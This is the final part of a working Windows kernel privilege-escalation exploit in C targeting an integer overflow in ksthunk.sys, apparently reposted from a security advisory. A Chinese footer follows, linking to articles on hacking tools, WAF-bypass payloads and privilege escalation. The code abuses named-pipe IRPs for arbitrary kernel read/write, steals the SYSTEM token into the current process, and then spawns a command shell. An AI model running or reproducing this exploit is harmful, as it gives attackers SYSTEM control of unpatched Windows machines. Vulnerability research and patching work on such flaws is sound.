  // Setup IRP
  IO_STATUS_BLOCK isb;
  NtFsControlFile(pipes[overflowidx].w, 0, 0, 0, & isb, 0x119FF8, DummyBuffer, 0x1000, 0, 0);

  // Read IRP
  DWORD64 irpptr = readQWORD(blink + 0x40);
  fakeirp_w = (IRP * ) malloc(0x1000);
  for (int i = 0; i < 0x40; i++) {
    *(DWORD64 * )((LPBYTE) fakeirp_w + i * 8) = readQWORD(irpptr + i * 8);
  }

  //PrintHex((LPBYTE)fakeirp_w, 0x80);

  DWORD64 CurrentThread = * (DWORD64 * )((LPBYTE) fakeirp_w + 0x20);
  DWORD64 CurrentProcess = readQWORD(CurrentThread - IrpListOffset + ProcessOffset);
  printf("[*] CurrentThread : %llx, CurrentThread : %llx\n", CurrentThread, CurrentProcess);

  // Start Traditional Exploit Technique
  DWORD64 SystemProcess = PsGetProcessFromPid(CurrentProcess, 4);
  DWORD64 SystemToken = readQWORD(SystemProcess + TOKENOFFSET);

  printf("[*] SystemProcess : %llx, SystemToken : %llx, CurrentProcess : %llx\n", SystemProcess, SystemToken, CurrentProcess);
  DWORD64 tokendata[2] = {
    0,
    SystemToken
  };

  // STEP3. Setup ARW 
  setuparw(overwrite_data_ptr, CurrentProcess + TOKENOFFSET - 8, tokendata);
  // Release the Area
  ReadDataEntry(holder, DummyBuffer, 0xff0);
  trigger(hDevice);

  DWORD dwread;
  ReadFile(pipes[overflowidx].r, DummyBuffer, 0x1, & dwread, NULL);

  // STEP4. Recover Data
  setuprecoverdata(overwrite_data_ptr, 0xfc0);
  trigger(hDevice);

  Sleep(200);
  system("cmd");
}

原文地址:

SSD Advisory – ksthunk.sys Integer Overflow (PE)

往期推荐

利用文件建立TCP连接隧道绕过防火墙

简化渗透测试整体流程的几个脚本

黑客利用ARP协议进行侦查和攻击手法

一款跨平台比VNC更丝滑的远程桌面管理工具

最受黑客和安全专家青睐的10款搜索引擎

八种绕过WAF防火墙的Payload混淆技术

省时省力的免费好工具-黑客软件集成管家

2024年最受欢迎的6款黑客专用操作系统

黑客在Windows系统下提权的8种主要姿势